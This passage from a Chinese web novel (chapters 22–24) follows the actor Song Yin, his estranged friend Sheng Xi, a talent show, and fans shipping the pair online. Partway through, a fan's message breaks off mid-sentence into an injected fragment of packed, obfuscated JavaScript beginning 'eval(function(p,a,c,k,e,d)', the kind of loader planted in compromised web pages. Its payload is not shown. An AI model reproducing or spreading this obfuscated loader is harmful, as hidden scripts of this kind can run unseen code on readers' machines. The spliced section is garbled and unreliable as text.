是因为前几天网上爆出他抑郁症的事吗？可是李珂看他表情，又犹豫了。 宋寅轻轻阖眼。 是让她看见，除了这张脸外，其余的都不是她的错。她从来都没有错。 22. 第 22 章 李珂很想对宋寅说，你说想让她看见，可是一直是她在被你看见。盛蹊的粉丝、朋友，甚至老师不能看见的困境，是你一个字一个字地去追问，她们不在意的盛蹊的难过，是你一直在感同身受，想要为她找到原因。 陆老师说不相信你是为了她才进圈的，可是我相信。 李珂鼻子发酸，低着头，过了很久才说：“宋老师，你别担心，盛老师退圈只是暂时的，质量为王，过不了多久，她一定能回到这个圈子里！” 她说：“盛老师很喜欢演戏，你也是。” 他是为了她才进圈的，可是不代表演戏就是他的退而求其次，他和盛老师一样，甚至就是因为，是盛老师这样热爱这个行业，他才会更加付出一百分的热爱，那些人怎么能因为这些莫须有的推测伤害他！ 而且李珂还说：“盛老师如果知道还有你在为她据理力争，一定会很高兴的。” 他不知道，在她因为闯入他和陆蕙兰的对话而惶惶不安的时候，看到他根本不顾及自己在这个圈内的地位和节目里学员的身份，也不害怕被陆蕙兰针对或节目组恶剪，还是要问出这句的时候，李珂心里受到多么大的震撼。 可能她在成长过程中从来没被人这么坚定地维护过，所以那一瞬间她居然有点羡慕盛蹊，因为她知道，他询问陆蕙兰那段声音里的发抖不是虚假的。 他以前每天晨间都会在茶水间练台词，如果不是真的情绪不受控，不至于那么几个字，他都念不清楚。 她也很想像程梦一样问：你们为什么不和好啊？到底为什么这么互相为对方考虑的两个人，从开始起，就不能和对方在一起。 可是看到宋寅的表情，她还是把话咽下了，宋寅甚至还有后采，因为编导看了那段，当机立断让林依非和宋寅再来一次表演前的采访，到时候剪进正片里，这样才有反差感嘛。 林依非倒是很坦然地答应了，她能在节目上承认自己被宋寅带着走了，就不是死要面子不肯听真话那种类型，但她看到宋寅进来，依然真情实感发言：“你好瘦啊。” 即使是顶流那些男明星，控制饮食后也会控制不住自己去撸铁健身，想张扬自己的男子气概，而清雅文弱款的男星，在这个圈子里其实是比较少的，并非是真的没有清瘦的人，而是他们不屑于去讨好女性观众的审美。 但宋寅的瘦都有点病态了，看脸和手看不出来，他走过来的时候轻得没有声音的脚步才有点感觉，她忍不住想问：“你现在多少斤？” “一百出头，还好，不是很轻。” “？？？”林依非都想问他在说什么瞎话，他比她还高一点，而且骨架偏大，结果就比她重这一点，这还不轻？她打赌娱乐圈找不到几个和他一样这么瘦的，当然，是男星。 林依非还想说话，看到他眼睑下被遮掉的泛红，还是闭嘴了。 采访录制完，林依非在保姆车上补妆的时候突然想起宋寅和盛蹊的传闻：“你说，他们两个是不是真的？” “谁？”经纪人想了想，讶异：“今天和你搭戏的那个？人设吧？都退圈了谁还想费尽心思给她说话，而且这个人设其实给他圈了不少粉的，我那天都看到CP超话了。” 林依非说：“不是所有人做什么都是为了立人设吸粉的。”至少她在和宋寅看盛蹊演的那个片段，他那个专注和失落的神情，不像是演的。 “得了吧祖宗，你自己都吃了多少男人的亏了？” 她不理经纪人，回去翻CP超话。很多艺人其实也有吃瓜冲浪的小号，不过要避免刷到自己的爆料和乱点赞就是了，用小号就要预料到小号有被爆出来的一天。 但她还是翻了几条忍不住就点关注了，一边想，她们怎么消息来源这么准，一边感叹，她们怎么那么会嗑啊！ 她这个只见过宋寅一面的人都感觉她们说得有道理了！ 现在超话里最火的是一个叫一日生花的活跃号，她好像从很久以前就开始关注宋寅的行程和踪迹一样，这几天开始播演技派综艺宋寅上的第一期，她就从日更博主变成小时更博主了。 林依非刷到的就是她连下来的几条： 【他们在他入圈之前就已经绝交了，所以她连他曾经晕倒进过医院和营养不良都不知道（呜呜呜呜呜呜呜）】 【谁能告诉我，两个小苦瓜为什么那么惨（大哭）她在荧屏上还小有名气那几年，刚好是他家出事最困难的时候，好不容易现在他进圈了，她又退圈了】 她现在在看的就是评论： 【博主，可以问一下时间线的物料吗，从哪里看到的真的好想知道】 【@一支，有人发了宋寅的诊断书，上面可以看到，他用的药都是长期抑郁焦虑才会用的，一般轻度抑郁不会开这些】 【嗯，再根据药的服用周期往前推一推就能大概知道了，之前就有人说感觉宋寅是病了很久，甚至是情绪稍微好一点才出来出道的，没想到真说中了。。。】 【可以说的吗，大好前途忽然就销声匿迹，而且再出来的时候整个人都变得安静敏感了，真的好符合抑郁症患者痊愈的特征……这种病就是很容易复发的】 【天啊，抑郁还是愿意为她顶住那么多谩骂给她说话QAQ】 【我们小情侣真的好惨啊，我不行了】 【忽然想到，盛宋有没有可能都是以为对方过得很好，而自己近况不好，不想让对方知道才绝交的，西西在圈子里一直被隐形打压，宋寅抑郁的事也没有告诉她啊（流泪）】 【不er，我今天才入坑绝美CP，你告诉我男方抑郁女方退圈？不要啊（大哭）】 【宋寅的事百分百和盛蹊没关系，她要是知道不可能在他为她发声开直播的时候官宣退圈的，她也是想让他的路好走点，让周宇粉丝不要骂他了，谁知道他很早以前就已经生病了QAQ】 【没有人说吗，盛蹊以前在娱乐圈的时候，从来没有和粉丝诉过苦】 安素就是盛蹊的粉丝，翻到这一条激动回复：【是的！很早以前我一次偶然追过她的线下，和一个明星一起，当时她看到我过去还问我是不是走错了，XXX在那里，我说不啊，我喜欢的就是你，还有你宁素卓那个角色，她的眼睛一下子就有神采了，线下人真的爆炸好看温柔，不明白为什么那么多人觉得她不好看，还欺负她QAQ】 【西西的脸好像不适合摄像头，我上次远远看到过，脸其实很精致的，而且很难得的一点，她演戏的时候五官不会乱飞，很有活人感但是又不出戏，所以其实是演得非常好的QAQ】 【资本不做人】 【所以宋寅才忍不住出来为她说的，明明她受了那么多委屈，那么多人都有看到，可是只有他真的站出来】 【我觉得西西和宋寅很有CP感的一点，就是宋寅出道之后和盛蹊好像啊，有时候看他们背影照片我都会恍惚，就是那种莫名的低落的那种感觉】 【是的！终于有人说了！我也觉得宋寅抑郁之后和西西好像，尤其是眼睛和眼神（呜呜呜呜）】 【感觉是宋寅好不容易鼓起勇气抑郁后去圈内找她，找到她后发现她过得也不好，所以更难过了，上次还看到有人说，其实他进过好多次医院】 【不要啊，真的是这样我会哭死的】 【我在宁戏这边，这周就上有西西的剧目了，好想近距离见到她（呜呜呜）】 【是啊，这样想退圈其实是好事，以前有机会都会被人抢走，现在终于没有人会夺走你的角色了，这个舞台就是属于你的，属于你一个人的】 林依非也在圈子内，多多少少听见过不给不看好的女演员戏的传闻，今天又演了盛夏这部戏，看到这句话冥冥中有种命运一直在捉弄普通人的既视感。 不过她还是问：【原来他们现在绝交了吗？】 她都不知道。还以为他们关系非常好呢。 【是的，之前有个大粉爆的】 【那是单方面还是？】 【双方面吧……我有个朋友是某综艺的，她亲口说的面试的时候宋寅说不认识盛蹊，不保真哈】 林依非却若有所思。双方面的绝交，对于她最出名的那一段戏，台词还能倒背如流，根本没有生疏窒涩的迹象吗？ 她忽然觉得宋寅上演技派综艺不是因为演技派综艺放过盛蹊被批的片段想为她正名，而是因为在这里，他才能光明正大地和她产生联系。 因为在演戏这个行业中，宋寅和盛蹊这个名字才不是毫无联系，老死不相往来的。他们殊途同归。 明天有通告，林依非切出了账号，再下意识一刷，宋寅的账号被推到她首页了，她正无语，突然定睛一看，愣了一下。 是盛夏那部剧的OST，因为很冷门，所以没多少人清楚，林依非知道，是因为她知道自己要演这部戏的女二，扫到过。 评论已经被不明意义的评论攻占了： 【呜呜呜呜呜呜呜呜】 【你还记得QAQ】 【真的仗糊行凶了呜呜，不是说好绝交的吗？】 【“喜欢这件事，就算捂住嘴巴，也会从眼睛里跑出来”】 因为现在还没播出下一期，没人知道这其实是他饰演了唐青的一个小小的剧透。 一日生花反而发：【哥，我真的把糖寄过去了！】 徐可欣没想到能再次得到宋寅的回复，她知道剧院不收不明来源的包裹，尤其是食物类的，所以在寄之前特地好说歹说，拜托剧院工作人员帮她问一问，盛老师吃不吃糖。 因为他们绝交了，徐可欣没敢说糖是当初宋寅发过那个，但是得到可以的回复，她真的很高兴！甚至都有点愧疚盛蹊刚退圈她就去打扰她了，但是她真的很希望，他和她们的一切都可以和她分享。 让她知道，她不在这个圈子里了还是有人惦记着她。还好，盛蹊收了呜呜呜呜。 没想到宋寅也回了： 【嗯。】 【谢谢。】 徐可欣：【（大哭）】 朋友：【知道了知道了，不就代表他也很希望这些糖送到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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【热评有一条说的好好：他放弃了塑造这个角色的正向的一面，因为这个故事属于她的角色】 徐可欣点进去看了，可是因为没关弹幕，还没看到就被花花绿绿的“我哭了”“哭死我了”糊了一脸，还好还有声音。 应该是个UP主剪的旁白：“导师还在这里说了，一个演员的角色是需要多方面去成就的，然后，宋寅不止在这戏里成全了宁素卓这个角色的来之不易，还在后采里说：不管剧怎么剪辑，片段如何弱化，他相信用心演绎的角色，会被看到的。” “家人们谁懂啊！当时宁素卓因为女二有了灵魂火起来的时候，男女主粉丝万万没想到隔了这么多年还有个回旋镖，是啊！宁素卓当时甚至没有得到剧组的正面剪辑，她甚至只是一个边缘化了的，高光只有这么点儿的角色。” “就这样，剧组还要说，女二霸凌全世界，女二加戏咖，可只有宋寅这里我们看到，不管谁想抹杀女二的灵魂，都不能阻止女二的角色挣扎着长出血肉。” “原片这里盛蹊的这个哭腔，不仅仅是为宁素卓，也是为和她一样的演员发出的控诉，为什么，我们只是想要被看见，被正视，都这么难？” 【真好，终于有人看见了QAQ】 【那些骂宋寅蹭热度的，他那么想她的努力被人知道，怎么会蹭她热度，他才是想让盛蹊因为他的热度不会真正退圈的那一个啊】 …… “说了这么多让人想哭的，也来看看综艺里其他人的反应，陆老师是西西的老师，说了那句，她一句一句带着你演的就不说了，简直就是神交（哔——）的最好诠释好吗。” “让我们再来看看林依非采访这里。你觉得宋寅是个什么样的人？她先夸了业务能力和态度，最后忽然加了一句，我觉得他是一个非常善于看见别人的演员。” “看见，别人。” “不知道有没有听说过这样一句话：爱情的开始，就是我在人群中，清楚地看见你。” “这样一想盛宋简直是灵魂伴侣到想藏都藏不住！是的，他一直想让她被看见！他想让她被看见，所以自己抑郁症低血糖都不会出来告诉任何人诉苦，但是提到她的事，他会说：她是一个很好的演员。” 徐可欣：【他是个好演员，这句话直播里西西也说过】 朋友：【是的！！呜呜呜，现在好想打自己几个巴掌，以前看直播的时候我竟然没有磕到，其实他们都有一个特点，就是都觉得演戏对对方，比自己对对方重要，所以百分百付出真心对待的，反而是对方的戏】 徐可欣反而愣了一下，想到第一次见面时，宋寅给她推荐盛蹊的《惊梦》。 【对呀，因为，太过喜欢一个人的时候，反而会忘了自己】 因为渐渐演变成了本能，所以喜欢你都成为了自己不知道的事吧。 徐可欣又有点想哭了她忽然觉得那句话说得也很好，也很适合宋寅：你多喜欢她，你自己都不知道。 只有她们这些旁观的粉丝看了那么多，才知道。 23. 第 23 章 还有一个剪辑大触把宋寅演的唐青和盛蹊演的宁素卓剪在一起了，并不一样的场景，可是两个人的片段剪在一起的时候竟然有他们两个人更像是在一部剧里的熟悉感。 唐青说：“你已经做得很好了。” 当他微微低首，精致眉眼上戴着的银边眼镜，银边配合镜片反射出清冷的光的时候，宁素卓眼里的无助和可笑是那么清晰。 她眼睛含着泪，笑着退后了几步。 当时盛蹊这个女二被单独剪出来，被很多影视区UP夸有演技，情绪表达到位的时候，用的也是这一段，她似乎想笑，又想哭，嘴角那么努力地向上扬，想要维持自己光鲜精致的成功人士的人设，眼睛却透露出小孩子才有的脆弱。 她们才明白，原来宁素卓一直没有成长。原来宁素卓一直不能接受的，就是她认为那么优秀的唐青没有爱上自己，原来那个孤苦无依，只能自己摸爬滚打一步步向前的宁素卓，也从来不爱自己。 她不爱自己到，宁可相信自己这么多年挣扎是因为唐青这个幻梦，而不是因为自己有那么多委屈，和不甘心。所以这个戏片段的结尾是宁素卓擦去了眼泪，依旧骄傲倔强地站直说：“我没有怪你。” 她轻轻地吸气。 有些第一次认识盛蹊这个演员的观众，第一次发现她那清丽的眉眼美得让人心惊，因为这是灵魂破茧重生的力量，她们居然真的在她脸上看到一个活生生的角色了。 只要给她三分钟。 这是很久以前盛蹊超话的一句签名，只要给盛蹊三分钟，她会让你看到属于她的不一样的角色。 现在盛蹊真的做到了。 宁素卓又笑又哽咽说：“我只是，有一点激动。”她抹去脸上的泪水，绽放出一个属于成年宁素卓的笑，然而这次不是强撑，是她努力着把过去那个脆弱易碎的幼小宁素卓吞下去，她把不肯接受的自己放进胃里。 之后很多年，她依然会挣扎着消化，痛苦地接受自己不完美的部分。但那是宁素卓的人生课题啊。 剧里的男主角唐青看着宁素卓离开，他是克制的，冷静的，银边眼镜更是只是用来凸现他那种疏离冷落感的，可是这位UP很天才的是剪了直播那时候，宋寅眼睁睁看着盛蹊离开的镜头。 黑底白字。 【镜头前的我目送你离去。】 【但是镜头外的我还在爱你。】 这个视频砸了很多CP粉入坑。 本来徐可欣一日生花这个账号顶天了有几十个粉丝天天评论，超话签到她也能抢到前几十名，这个视频发出后，超话暴涨几万粉丝，一日生花都可以算是几千活粉的中小型脂粉账号了，因为她领嗑的太早，太多了！ 徐可欣打开手机，都能看到新粉天天打卡： 【呜呜呜呜呜，我们的小苦瓜小情侣】 还有演技派综艺播出本身砸进来CP粉一大批，毕竟陆蕙兰那句她一句一句教你的已经算是带头开嗑了，后采宋寅和林依非谈到搭戏的时候对对方的感受都非常客气，唯独谈到戏的时候，林依非说她演得不好，比起原版没能理解好宁素卓这个人物，宋寅一言不发。 【呜呜呜呜呜否认了所有但就是不愿意否认你QAQ】 【怎么可能是纯恨的状态呢，你的每一个眼神动作都写着爱啊（大哭）】 但是这段播出也引起了《盛开的夏日》这部剧剧粉的不满，准确地来说是原男女主的一波粉丝。本来当初盛蹊上热搜爆了的时候，男女主粉丝就参与了防爆，四处说女二加戏，对盛蹊非常不满了。 现在演技派综艺把这段拉出来，给和盛蹊有绯闻关系的宋寅去演，而且导师都捧盛蹊和刚出道的宋寅，这在她们眼里不就是吹宋寅盛蹊演得比原剧男女主好，甚至是原剧男女主演得不好才拖累了盛蹊吗？ 所以演技派这片段上了一天后有粉丝发声，一条几百赞的博，一看就是谁买的： 【我说最近有个综艺别太搞笑了，捧人的心思写在节目里，之前就用这个手段拉踩，把加戏咖捧出娱乐圈了，现在又来，不懂就问，我们盛夏是什么升咖道具吗？（微笑）】 路人粉丝本来就不是因为原剧片段才get到的这部剧，看到主演粉丝还在那嘴硬，甚至辱骂盛蹊一直加戏到现在，当然不惯着她们，没过多久，冲上热三了，几百赞的博，被骂出上千条： 【我就是原来看过的那波观众，我来说：难看的要死，除了盛蹊没一个演技在线上的】 【终于有人说了啊啊啊你是一个勇敢的宝宝！但是你家蒸煮真的演得好难看，尤其是那个男的，油得要死】 【查了一下男主叫方锐，不懂就问你家是周宇二号吗？都是自己控制不住演出自己无脑本性，还怪女演员倒贴（微笑）】 【我真服了，有你们这种粉丝盛夏主演真是积德啊，对盛蹊路转粉了】 那个粉丝本来一开始还想嘴硬，看骂她的人越来越多，见势不对关了评论区，但这个时候已经不是她一个人这条博挂在广场上，而是盛宋CP超话的人借机铺满了广场，还把那个入坑利器的剪辑向视频到处发出来吸引路人入坑了。 郑灵姝刚上完一天课回来还在躺尸，热搜上刷到眼熟的账号都在洗广场，立马去大粉那复制词条也跟着刷，没过多久，就有路人粉私信她了，还问有没有磕糖的群！ 啊啊啊！第一次嗑冷门CP的郑灵姝哪见过这阵仗，她自己都是被室友安素拉入坑的，遥想多年前她看到直播视频还无感呢！但是CP感果然是个很玄学的东西，他们站在一起演戏的时候，郑灵姝有一种熟人表演的不自然感，也不是说不好嗑，就是不太能感觉到。 可是大佬剪的那个唐青和宁素卓的错位CP，她一下就上头了！当下也是立马把那个新路人粉拉入群，然后到超话里宣布这个好消息，没想到超话也热闹得仿佛来过年了。 虽然闹腾的还是那几十个眼熟的账号，看起来只是CP超话的关注人数暴涨了，但郑灵姝可太高兴了。毕竟磕的人越多说明CP越真，而且她们的小苦瓜CP才有好日子过啊！ 顺便一说，盛宋CP超话的名字叫做朝萤夕拾，当时有萤火（CP粉）想到这个CP名的时候众人惊为天人，然后那个萤火好像还是中文系的，她不好意思地解释说因为看到盛蹊宋寅就想到了朝花夕拾这个词，而他们又一起长大现在绝交，感觉更契合流年逝去这个主题了。 萤和夕都是谐音字，但是改回盛蹊宋寅的名字也很有寓意：当时没有抑郁，温和快乐的宋寅，有一天也会被盛蹊捡到，然后回归他们平凡幸福的一天。 这个寓意被科普出来，又有一批新萤火嗷嗷哭： 【真的太感动了QAQ】 【真的好好啊，平凡和幸福的一天，我们的小苦瓜什么时候能平凡和幸福呢（流泪）】 【不知道可不可以说，但是家人们还是去广场控个评吧，盛夏播完很久了粉丝战斗力也没那么强了，西西才没有被那么多人骂，但是那群粉丝看到路人走了，我们没有气势了肯定就会卷土重来了，宁素卓和唐青都是盛宋的心血，一定不能被其他人掩盖掉啊】 【话说我以前从来没有追过星，控评发帖还是第一次，但是就是感觉，好感动啊，原来爱一个人可以就做这么简单的事，原来追星可以这么纯粹】 【是的，其实西西以前是不提倡粉丝做数据控评的，内娱很多粉圈年龄构成偏小，而且都有点疯魔了，但是我宣传宁素卓这个角色不是因为想做数据女工，是因为真的觉得这个角色，你值得被看到啊@盛蹊】 【宝宝好好工作，下周去宁城出差争取去看你！】 【真好呜呜呜呜，原来盛蹊的粉丝真的快感动哭了，原来还有这么多人喜欢她】 陆蕙兰平时很少关注舆论，这次也是盛夏的粉丝和路人骂战闹上热搜了，她才看了几眼，忽然看到有人在给盛蹊的角色写repo，还有做剪辑产出时，手指顿了顿。 同为导师的孔蕤看了一眼，说道：“现在这些CP文化效果还蛮不错的，我前几部剧演的家长，居然也有CP粉在嗑！” 孔蕤分享的是自己演戏的趣事，陆蕙兰却想到更多。以CP作为切入口的宣传方式真的会让人忽略掉角色和演员本身吗？ 未必，陆蕙兰对CP宣传这个方式还是不认可，不过她能很清楚看到，盛蹊宋寅的CP能拐到盛蹊身上，本质上还是因为宋寅愿意让渡唐青这个角色的苏感，让所有的话题度集中在盛蹊身上。 如果他真的是为了话题才来参加演技派的，那完全可以让唐青演出那种温柔，有分寸，但是又忍不住让人喜欢的苏感，把宁素卓这个角色的内核完全遮盖掉。 这样林依非不会受到批评，他的话题度也会大大提高。所以宋寅其实是冒了一定风险的，他要成全盛蹊，如果不是林依非个性坦率，已经狠狠将搭戏演员得罪了。 而且她不知道宋寅有没有注意到，她和宋寅说，他缺不缺角色的时候，他的第一反应不是他的演艺事业如何，而是，您为什么不愿意指点盛蹊。 他说着戏很重要，其实，已经把盛蹊摆在第一的顺序里了。 她又想起学生的话，他们真的一点关系都没有吗？可是盛蹊本科四年，她确实没有听她提起过，而且网上爆出宋寅出道前的近况，她也不相信盛蹊没有一点耳闻，可是她确实一点异样都没有。 线下已经有人问到盛蹊这，倒不是粉丝，原本盛蹊参与剧院演出，看到有粉丝给她送花，很担心她问和宋寅有关的问题的，她还没有想好怎么回答，没想到粉丝只是兴奋地要了合照和拥抱，然后就不舍地走了。 反而是剧院同事在网上吃到了瓜，看了她好多年，忍不住过来问她：“盛蹊，网上说宋寅抑郁那个事儿，是不是真的啊？” 问这话的是剧院的一个老资历，一位大姐，她也算是老戏骨了，对娱乐圈不感兴趣，外形条件也很好，但是人更接近于原来剧里的那种热情街坊，就是喜欢打听，人没坏心。 这次她还和她解释道：“就是我那个侄女喜欢，非跟我说要追他的线下，我怕她被骗 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这是很多年来，第一次，真的有人站在她这一边。即使是她自己，她都有些不敢置信。原来她真的觉得，那些谩骂都不是事实。 原来她真的宁愿这一路走得再一次不顺，也要和他们说，我不相信，我演得真的这么不好，我全做错了。 大姐心里哎呦一声，说不出话来，第二天再看到粉丝送的花，叹了一声，和同事说：“现在的小年轻，怎么动不动就吵架啊，绝交的。” 关系那么好，还会互相心疼，就不应该，分开啊。 李珂知道线下有人给盛蹊的第一部线下演出剧目写repo，还去找宋寅，但是门半掩的休息室里，他在跳舞。 这个时候杨导的那部戏已经结束了，公司在筛选给宋寅的片约，但宋寅什么都没想，只是在公司的安排下上塑形课，瑜伽课，不是因为体态不好，是因为他身体不健康，做这些有益健康。 但现在课结束了，他一个人在练舞室前面，肢体伸展，眼睛顺着手臂，看向指尖。 李珂屏住呼吸，然后看到他摔了一下，李珂立刻冲进去：“宋老师！” 宋寅表情没什么变化，但他还是说：“我没事。”他站起来，李珂能感觉到他气色变好了，没有在剧组不用上戏背台词训练，他的作息也不会混乱颠倒。 可是宋寅还是问她，连程梦过来的时候他都还在问：“我要怎么做，才能让他们觉得，我的抑郁已经好了呢？” 躯体化太影响他对肢体的操控。而且，他也不希望他被贴上无法控制情绪的标签。 李珂和程梦心里却只有一个念头：他还是不想让她知道。 他只想让她觉得，他过得非常好。从前是他站在阴影里，现在是他努力地摆脱阴影，被她看见。 宋寅看repo的时候，有人发出和盛蹊的合照。 她穿着戏内的服饰，鞠躬谢幕，张开手的时候，脸上终于有笑容。 宋寅看着那张照片，怔了很久，然后轻轻地弯唇。 程梦：“下部戏你有机会的话，可以去宁院自己去看一看的。” 宋寅抬起头。 程梦鼓起勇气：“殷导的第二部戏开拍了，有个角色可能需要你客串……” 殷导说了宋寅可能不会答应，但是程梦得了许可还是自己来了，她还是想让他们，见一面。 宋寅垂眸，他听了设定，听了台词，时间还算宽裕，但是他是不可能去的。角色本身并不算独特并不是最重要的原因，他还没有到挑角色的地步。 但是上次直播耗费了太多可信度，这些天本体需要出现的时间也不少，他的可信度已经只剩下几百，够支撑他几天了。 他和本体遥遥相望，就已经是最大的安慰了。 “不用了，”宋寅轻声说，“就这样，就很好。” “可是……”程梦看到他的眼睛，说不下去了。他的眼神告诉她，如果有可能，他会第一个想见她。但是没有可能。 他们之间最大的阻碍从来都不是距离。 李珂那收到消息：“哥，你的下一部剧定了。” 仍然是古偶，但是不再是戏份边缘化，被周宇看作是影响不了大局的名义男二了：李若白实际出现的集数只有前十几集，而且还是碎片化的。周宇的演技也还不足以扛起S+的大制作。 这是业内认为这部剧没有大爆的主要原因。 但和一个新人男二的粉丝打得有来有回，对周宇粉丝来说已经是耻辱了。属于是流量圈现在还被笑话的存在。 但演技派综艺的出圈就说明其实演技好的男明星底盘很大，受众本身都有审美，再说了，李若白的妆造其实很好看，只是太过单薄的剧情不足以把角色整个撑起来。 但这部戏应该可以。 剧的名字叫《若星辰》。讲的是凡人陈曦河和江虞的故事。陈曦河是男二。 说是他们的故事是因为，男主一开始是作为陈曦河的转世出现的。 24. 第 24 章 剧组动作很快，杨导的剧释出预告的时候宋寅已经收拾好准备进剧组了，说实话他在出组前，也不知道《绣年》是这么大一个项目，他只知道，有那么多武指动指跟着训练的一个剧组，绝对不会是什么小剧组。 然而，他也没想到这个剧组的份量会那么大。 在赶往《若星辰》剧组的路上，宋寅打开了《绣年》全平台播放的预告片，之所以是全平台，是因为这部剧已经上星，目前是在央视，虽然不是最好的时间段，但是这动静比起很多扑都扑得没有水花的古偶已经大很多了。 而且他饰演的程兰在里面还有一个长达三十秒的长镜头。那是在戏台上，全部扮好，和不带脂粉，素面朝天的程兰在黑黑白白的光影里切换，很高级的剪辑手法，背景里没有一点喧宾夺主的地方，这个极致安静的镜头里，程兰是绝对的主角。 然后满头珠翠和素颜苍白的程兰左右各半张脸拼在一起，倏地抬头——一部年代剧竟然拍出了恐怖片的质感，但是太有氛围了！ 评论区很多刷到的都在评：头皮发麻。 【是讲民国时期的事吗？好期待啊！】 【中间这个演名伶的小哥哥叫什么名字啊？好有感觉！】 【没错没错，那个抬头的眼神惊到我了，而且好有那种疯狂和偏执的濒临崩溃感，呜呜呜呜，本人就喜欢这样的（呐喊）】 【内娱好久没看到这种一个镜头就可以看出演技的了，演得太好了！】 【是不是本身就是唱戏的啊，看预告片其他身段也很专业的样子】 【不是哦，这个是我们舞蹈系毕业的宁漂小演员宋寅啦@宋寅，进组之前做了很久跟组训练所以才能演得这么好，没想到能得到这么多夸奖，感谢大家的喜欢！（抱抱）】 【原来是学舞的，怪不得水袖甩得那么好看】 【太好看了！！】 宋寅切到预告片里面去看他在剧组没有碰到过的领衔主演。很多人以为和大咖在一个剧组就代表你们有机会认识了，其实不是的，很多有名气的老演员也会严格遵守以前的表演制度，就是定时上下班之类的，但是他们出现的场代表比较重要的场，一般是要清场的，而且不允许无关人员入镜。 宋寅在《绣年》剧组的时候，大半时间段都用来训练唱戏，真正的戏份也只是和其中一位主演在一起，所以他根本不知道这部剧有这么多老戏骨出演。 或者说即使知道，他也是不会去关注和自己无关的事的，毕竟程兰再出彩只是《绣年》里的一个小配角，群星璀璨的情况下谁会去关注他有没有在里面出演呢？ 所以他只是想把这个角色演好，没想到，预告片出来了，剪辑版也递交好了，预定央视播出，现在各平台都在推，这部今年难得的民国精品大戏。 而且杨树其实不算名导演，他能找到这么多国家级演员只能说明，这部戏不是他来牵头制作，而是他接了上面的项目——怪不得当时其他导演带来的几个戏剧学院的学生都卯足了劲儿展示自己，而且还有其他几个导演掌眼。 如果她们真的如自己所说只是看个热闹，杨树导演就没有必要叫他们在所有人面前展示了，所以这其实是一部名气很大的正剧！ 只是程兰这个角色很小，小到只是里面其中一个单元而已，但是预告片还是把他拿出来了。 宋寅现在才知道殷导当初那个推荐的份量，车快到《若星辰》剧组了，他才编辑好感谢的话发给她，但是殷玉莲只是回了两个字：【没事。】 他往剧组里走，殷玉莲才继续回：【本来也只是个小角色，花多少功夫，演到什么地步，那是你决定的事。】 杨树真的不能花时间挑一个更大牌更有功力的演员演程兰吗？当然不是，只是没有这个必要，他也觉得从程兰这个角色心态上来讲，新人会更好。他只是自己都没有想到，只是想找个演技不差不破坏全片气氛的配角角色，会让程兰这个角色的演绎变得这么浓墨重彩。 他太突出了！所以剪片的时候他不自觉地就把这些片段留下了，甚至还在剪辑师询问他意见的时候喃喃：“这个宋寅，天生长了一张抓镜头的脸啊。” 剪辑师看着里面不疯魔不成活的程兰，赞同地点点头，可是杨树更关注的却是宋寅在留意到镜头方位后，那种不顾一切想要被镜头看到的状态。 这个角色本来只是剧本里的一环的，可是程兰戏痴，对京剧接近变态的那种追求，与宋寅本人面对镜头的这种偏执和渴望是相辅相成的。 所以导致宋寅在发现镜头，不自觉地想要浓重演绎这个角色的用力，与成片交织起来的时候，呈现出程兰这个角色仿佛要爬出屏幕，让观众盯着他的戏去看的诡秘感。 这正是程兰身上最出彩的，也是最容易被观众记住的底色，宋寅遇到这个角色，算是幸运，也算是歪打正着地把他的疯狂演出来了。 但是杨树想了想，预告片放出后还是联系了宋寅。他拍宋寅的时候并没有注意到这么多，甚至因为他只是个配角，很多都是副导掌镜的，副导问宋寅这里是不是太用力了，他看了一眼就给通过了。 是剪辑的时候才发现宋寅的表现这么抓人。现在再看一遍预告片，他还是忍不住觉得： “正片里你是故意的吗？” 他仔细想了想，觉得宋寅还是一个不至于本人和角色分不开的演员，他试镜的时候，杨树能感觉到宋寅身上透露出的那种不甘，但是在镜头处理里，他总是最像“程兰”的。 所以他不觉得这是宋寅本人的特质和程兰结合了，倒像是宋寅发现程兰这个特质之后，特意放大了自己身上那种追而不得，屡战屡败的崩溃心态。 他是献祭自己成全了这个角色。 李珂还在悄悄地观察宋寅。自从那次宋寅和陆老师争吵之后，她就感觉宋哥好像对外面的世界更不在意，更加沉浸在自己的世界里了。尤其是他知道自己接到陈曦河这个角色之后，不留心都没注意到，宋哥居然没有开口说一句话。 他既没有高兴，也没有说这个角色如何，他就只是闭上眼休息，要么睁开眼看剧本。该不会抑郁症更严重了吧？李珂有点紧张。 可是宋寅却在和电话那头说：“算是吧，但是导演，我并不觉得我选择的表演方式破坏了这个角色。” 杨树扬眉：“当然没有，只不过……” 只不过这是主角的演法。 也不能这么叫吧，只是业内很喜欢这么统称，天龙人大行其道的个人主义叙事，让影视圈很多行业都默认高光、情绪最激烈的剧情，都是应该给主角的。 演绎方式也是，如果有哪一段是配角完全是压着主角在输出的，那也必须是主角之后有更大的情绪输出，这部分是在铺垫的。 配角情绪比主角还要厚重的，几乎没有。 但是杨树这几年，越来越见到这种老学院派似的角色，他们已经跳出主角必须拥有最好的，最复杂的人格的窠臼，在追求自己的道路，他只是没想到随便选的一个配角演员，也能做到这一点。 宋寅这年纪倒是可惜了，再大一点完全可以尝试更有厚度的角色，只是他现在的脸还是属于年轻化的，你要相信他是什么历经沧海桑田的人，相似度几乎没有。 打这通电话也只是为了解决他心里的一个疑惑，杨树倒没有继续说什么，只是提了一句：“对了，你要是在哪要用到《绣年》这部戏的其他片段，和剧组说一声就行。” 这算是变相给了宋寅用这部剧宣传的授权，也算是承认他也可以算是这部剧的主要演员团队之一了——别看这句话说得随意没什么分量似的，实际上从一个单元配角，飞升到宋寅这种全网关注的含金量，已经算是极为罕见了。 杨树预想到这个角色肯定会抓住全网的讨论度，但是没有预想到讨论度会高到这个程度，甚至预告片出来就有人在猜。 那这就不只是角色人设的功劳了。 演员和角色，很多时候是相互成就的。 宋寅接完这通电话，心里并没有太多情绪波动，只是李珂按捺住兴奋询问他要不要跟着剧组文案进行剧宣的时候，宋寅才像想起来他现在也算是一个明星似的，让李珂登了他的账号。 公司其实一直暗示李珂接管，但是李珂想着宋哥应该不喜欢她这么干，就硬着头皮一直没有管过，这会儿在她的手机上登上，看到经常访问顶着宁城剧院官号的头像的时候还有些怔愣。 她抿了抿唇，装作没看到编辑新博，但是退出去的时候还 